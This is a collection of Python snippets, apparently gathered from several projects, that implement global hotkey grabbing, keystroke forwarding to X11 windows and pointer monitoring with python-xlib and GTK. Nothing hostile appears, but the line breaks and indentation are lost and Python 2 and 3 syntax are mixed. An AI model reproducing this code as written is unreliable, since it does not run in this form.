class GlobalKeyBinding (gobject.GObject, threading.Thread): __gsignals__ = { 'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()), } def __init__ (self, dir, key): gobject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.gconf_key = dir+"/"+key self.gconf = gconf.client_get_default () self.gconf.add_dir (dir, gconf.CLIENT_PRELOAD_NONE) self.gconf.notify_add (self.gconf_key, self.on_key_changed) self.keymap = gtk.gdk.keymap_get_default () self.display = Display () self.screen = self.display.screen () self.root = self.screen.root self.map_modifiers () def map_modifiers (self): gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in gtk.accelerator_name (0, modifier): self.known_modifiers_mask |= modifier def on_key_changed (self, *args): self.regrab () def regrab (self): self.ungrab () self.grab () def grab (self): accelerator = self.gconf.get_string (self.gconf_key) keyval, modifiers = gtk.accelerator_parse (accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int (modifiers) return self.root.grab_key (self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def ungrab (self): if self.keycode: self.root.ungrab_key (self.keycode, X.AnyModifier, self.root) def idle (self): # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter () self.emit ("activate") gtk.gdk.threads_leave () return False def run (self): self.running = True wait_for_release = False while self.running: try: event = self.display.next_event () if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events (X.AsyncKeyboard, event.time) else: self.display.allow_events (X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False gobject.idle_add (self.idle) self.display.allow_events (X.AsyncKeyboard, event.time) else: self.display.allow_events (X.ReplayKeyboard, event.time) except Exception, e: print e
class GlobalKeyBinding (gobject.GObject, threading.Thread): """ This is both a GObject and a Thread. GObject: it emits the 'active' signal when the key binding is activated Thread: runs an X loop for catching X events after the key has been grabbed """ __gsignals__ = { 'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()), } def __init__ (self, application, key): gobject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.application = application self.gconf_key = key absolute_key = self.application.config.dir+"/"+self.gconf_key self.application.config.client.notify_add (absolute_key, self.on_key_changed) self.keymap = gtk.gdk.keymap_get_default () self.display = Display () self.screen = self.display.screen () self.root = self.screen.root self.modifiers = 0 self.keycode = 0 self.unknown_combos = [] self.map_modifiers () self.running = False def map_modifiers (self): """ Use only known GTK+ modifiers to avoid catching Lock or something like that """ gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) unknown = [] for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" in gtk.accelerator_name (0, modifier): unknown.append ([modifier]) combos = self.generate_combos (unknown, unknown, len(unknown)) self.unknown_combos = self.flatten_combos (combos) @staticmethod def generate_combos (elems, combos, level): if level == 1: return combos res = [] for el in elems: for c in combos: res.append (el+c) return GlobalKeyBinding.generate_combos (elems, res, level-1) @staticmethod def flatten_combos (combos): ored = map (lambda l: reduce (lambda x, y: x | y, l), combos) ored.append (0) return set (ored) def on_key_changed (self, *args): """ Called from GConf when the key binding changes its value. Will regrab the key. """ self.regrab () def regrab (self): """ Ungrab the grab the key """ self.ungrab () self.grab () def grab (self): """ Grab the key for the X display. This means we will listen only to X events having our key as keycode. Instead of grabbing all the possible key combo (including Locks) we listen to the keycode with any modifier then filter manually the events in the loop. The key is grabbed in Sync mode. """ accelerator = self.application.config.get (self.gconf_key) keyval, modifiers = gtk.accelerator_parse (accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int (modifiers) for combo in self.unknown_combos: self.root.grab_key (self.keycode, self.modifiers | combo, True, X.GrabModeAsync, X.GrabModeSync) def ungrab (self): """ Ungrab the key binding """ if self.keycode: for combo in self.unknown_combos: self.root.ungrab_key (self.keycode, self.modifiers | combo, self.root) def idle (self): """ Internally called to emit the 'activate' event. This method will be run as idle for the gobject mainloop """ # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter () self.emit ("activate") gtk.gdk.threads_leave () return False def run (self): """ We grab in Sync mode because with Async with loose the release event someway. The loop will run until self.running is True. """ self.running = True while self.running: event = self.display.next_event () self.display.allow_events (X.AsyncKeyboard, event.time) if event.type == X.KeyRelease: gobject.idle_add (self.idle) def stop (self): """ Stop the loop, ungrab the key and close the display """ self.running = False self.ungrab () self.display.close ()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): try: GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap().get_default() self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.showscreen = Wnck.Screen.get_default() self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" except Exception as cause: print(("init keybinding error: \n", str(cause))) self.display = None return None def is_hotkey(self, key, modifier): keymatch = False modmatch = False modifier = modifier & ~Gdk.ModifierType.SUPER_MASK modint = int(modifier) if self.get_keycode(key) == self.keycode or self.get_keycode( key) == 134: keymatch = True for ignored_mask in self.ignored_masks: if self.modifiers | ignored_mask == modint | ignored_mask: modmatch = True break return keymatch and modmatch def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name( 0, modifier) or "Mod4" in Gtk.accelerator_name( 0, modifier): self.known_modifiers_mask |= modifier def get_keycode(self, keyval): return self.keymap.get_entries_for_keyval(keyval).keys[0].keycode def grab(self, key): if self.display == None: return False accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key self.keycode = self.get_keycode(keyval) self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) result = self.window.grab_key(134, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.display == None: return if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) self.window.ungrab_key(134, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window=None): if self.display == None: return self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object( "window", window.get_xid()) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in range(mask + 1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): if self.display == None: return self.running = True wait_for_release = False showdesktop = True while self.running: event = self.display.next_event() try: self.current_event_time = event.time if (event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release) or ( event.detail == 134 and event.type == X.KeyPress and not wait_for_release): modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.SyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif (event.detail == self.keycode and wait_for_release) or (event.detail == 134 and wait_for_release): if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.SyncKeyboard, event.time) elif event.detail == 40 and event.type == X.KeyPress: #super+d self.display.allow_events(X.SyncKeyboard, event.time) elif event.detail == 40 and event.type == X.KeyRelease: #super+d if showdesktop: self.showscreen.toggle_showing_desktop(True) showdesktop = False else: self.showscreen.toggle_showing_desktop(False) showdesktop = True self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == 33 and event.type == X.KeyPress: #super+p self.display.allow_events(X.SyncKeyboard, event.time) elif event.detail == 33 and event.type == X.KeyRelease: #super+p self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == 26 and event.type == X.KeyPress: #super+e self.display.allow_events(X.SyncKeyboard, event.time) elif event.detail == 26 and event.type == X.KeyRelease: #super+e os.system("peony &") self.display.allow_events(X.ReplayKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SIGNAL_RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap.get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.map_modifiers() def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self): Gdk.threads_enter() accelerator = ConfigManager.get_conf('global-key') Gdk.threads_leave() keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode = self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def idle(self): Gdk.threads_enter() self.emit("activate") Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GObject.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = capi.get_widget (gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): Gdk.threads_enter() accelerator = key Gdk.threads_leave() keyval, modifiers = Gtk.accelerator_parse(accelerator) print keyval, modifiers if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False count = c_int() keys = KeymapKey * 10 gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) self.keycode = keys[0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self, key): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): # Gdk.threads_enter() self.emit("activate") # Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class mwsd: def __init__(self, args): self.verbose = args.verbose self.ip = "localhost" self.port = args.port self.ignore = args.ignore self.disp = Display() self.screen = self.disp.screen() self.root = self.screen.root self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.setup_socket() self.ids = [] self.windows = [] self.status = False self.running = True self.lock = threading.Lock() # Communication to daemon def setup_socket(self): # self.socket.setblocking(False) self.socket.bind((self.ip, self.port)) self.socket.listen(1) # Running the server in a other thread self.running = True self.thread = threading.Thread(target=self.server_listen) self.thread.daemon = True self.thread.start() def server_listen(self): while self.running is True: connection, client_address = self.socket.accept() try: msg = "" while True: data = connection.recv(16) if data: msg += data.decode() else: break if msg != "": msg_list = msg.split() if self.verbose is True: print(msg) if msg_list[0] == "add": for id in msg_list[1:]: self.add(int(id)) connection.sendall("done".encode()) elif msg_list[0] == "rm": for id in msg_list[1:]: self.rm(int(id)) connection.sendall("done".encode()) elif msg_list[0] == "clear": self.clear() elif msg_list[0] == "active": self.active() elif msg_list[0] == "deactive": self.deactive() elif msg_list[0] == "toggle": if self.status is True: self.active() else: self.deactive() elif msg_list[0] == "stop": self.terminate() else: print("Unknown command") connection.sendall("UnknownCommand".encode()) finally: connection.close() # Actions def add(self, id: int): self.lock.acquire(blocking=True) self.ids.append(id) self.windows.append(self.disp.create_resource_object('window', id)) self.grab(self.windows[-1]) self.lock.release() def rm(self, id: int): self.lock.acquire(blocking=True) index = self.ids.index(id) self.ids.remove(id) self.windows.remove(self.windows[index]) self.lock.release() def clear(self): self.lock.acquire(blocking=True) self.windows.clear() self.ids.clear() self.lock.release() def active(self): self.status = True def deactive(self): self.status = False def terminate(self): self.running = False # Daemon main function def listen(self): while self.running: # X11 if len(self.windows) != 0 and len(self.ids) != 0: evt = self.disp.next_event() if evt.type in [X.KeyPress]: keycode = evt.detail if self.verbose is True: print("Keycode:", keycode) self.disp.allow_events(X.ReplayKeyboard, X.CurrentTime) if self.status is True: for window in self.windows: self.press(window, keycode, evt.state) else: index = self.ids.index(evt.window.id) self.press(self.windows[index], keycode, evt.state) if evt.type == X.DestroyNotify: try: self.rm(evt.window.id) except ValueError: pass # X11 def event(self, name, window, detail, state): return name(time=X.CurrentTime, root=self.root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=state, detail=detail) def press(self, window, keycode, mask=X.NONE): window.send_event(self.event(event.KeyPress, window, keycode, mask), propagate=True) window.send_event(self.event(event.KeyRelease, window, keycode, mask), propagate=True) self.disp.flush() self.disp.sync() def grab(self, window): window.grab_key(X.AnyKey, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeAsync) # Ungrab window manager shortcuts (Super + ...) for key in self.ignore: window.ungrab_key(key, X.AnyModifier, True) window.change_attributes(event_mask=X.KeyReleaseMask | X.KeyPressMask | X.StructureNotifyMask) def ungrab(self, window): window.ungrab_key(X.AnyKey, X.AnyModifier, True) # Cleanup def cleanup(self): self.running = False
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = capi.get_widget(gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def is_hotkey(self, key, modifier): keymatch = False modmatch = False modifier = modifier & ~Gdk.ModifierType.SUPER_MASK modint = int(modifier) if self.get_keycode(key) == self.keycode: keymatch = True for ignored_mask in self.ignored_masks: if self.modifiers | ignored_mask == modint | ignored_mask: modmatch = True break return keymatch and modmatch def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name( 0, modifier) or "Mod4" in Gtk.accelerator_name( 0, modifier): self.known_modifiers_mask |= modifier def get_keycode(self, keyval): count = c_int() array = (KeymapKey * 10)() keys = cast(array, POINTER(KeymapKey)) gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) return keys[0].keycode def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key self.keycode = self.get_keycode(keyval) self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window=None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object( "window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask + 1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class Manager(): def __init__(self, inkscape_id): self.id = inkscape_id self.disp = Display() self.screen = self.disp.screen() self.root = self.screen.root self.inkscape = self.disp.create_resource_object('window', inkscape_id) self.mode = normal_mode def event(self, name, detail, state): return name(time=X.CurrentTime, root=self.root, window=self.inkscape, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=state, detail=detail) def string_to_keycode(self, key): keysym = XK.string_to_keysym(key) keycode = self.disp.keysym_to_keycode(keysym) return keycode def press(self, key, mask=X.NONE): keycode = self.string_to_keycode(key) self.inkscape.send_event(self.event(event.KeyPress, keycode, mask), propagate=True) self.inkscape.send_event(self.event(event.KeyRelease, keycode, mask), propagate=True) self.disp.flush() self.disp.sync() def grab(self): self.inkscape.grab_key(X.AnyKey, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeAsync) # Ungrab window manager shortcuts (Super + ...) self.inkscape.ungrab_key(self.string_to_keycode('Super'), X.AnyModifier, True) self.inkscape.ungrab_key(self.string_to_keycode('Alt_L'), X.AnyModifier, True) self.inkscape.ungrab_key(self.string_to_keycode('Shift_R'), X.AnyModifier, True) self.inkscape.change_attributes(event_mask=X.KeyReleaseMask | X.KeyPressMask | X.StructureNotifyMask) def ungrab(self): self.inkscape.ungrab_key(X.AnyKey, X.AnyModifier, True) def listen(self): self.grab() while True: evt = self.disp.next_event() if evt.type in [X.KeyPress, X.KeyRelease]: keycode = evt.detail keysym = self.disp.keycode_to_keysym(keycode, 0) char = XK.keysym_to_string(keysym) self.disp.allow_events(X.ReplayKeyboard, X.CurrentTime) self.mode(self, evt, char) if evt.type == X.DestroyNotify: if evt.window.id == self.id: self.ungrab() return
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): self.windows.append(window) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: if Gtk.check_version (3, 20, 0) is None: pdevice = Gdk.Display.get_default().get_default_seat().get_pointer() else: pdevice = Gdk.Display.get_default().get_device_manager().get_client_pointer() p = self.get_window().get_device_position(pdevice) g = self.get_size() if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.keymap = Gdk.Keymap().get_default() self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key try: self.keycode = self.keymap.get_entries_for_keyval(keyval).keys[0].keycode except: # In Betsy, the get_entries_for_keyval() returns an unamed tuple... self.keycode = self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeAsync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window = None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object("window", window.get_xid()) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.send_event(self.window, event, X.KeyPressMask | X.KeyReleaseMask, True) self.display.allow_events(X.ReplayKeyboard, event.time) wait_for_release = False except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate':(GObject.SIGNAL_RUN_LAST, None,()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap.get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self): Gdk.threads_enter() accelerator = ConfigManager.get_conf('global-key') Gdk.threads_leave() keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or(not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync,onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def idle(self): Gdk.threads_enter() self.emit("activate") Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GObject.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
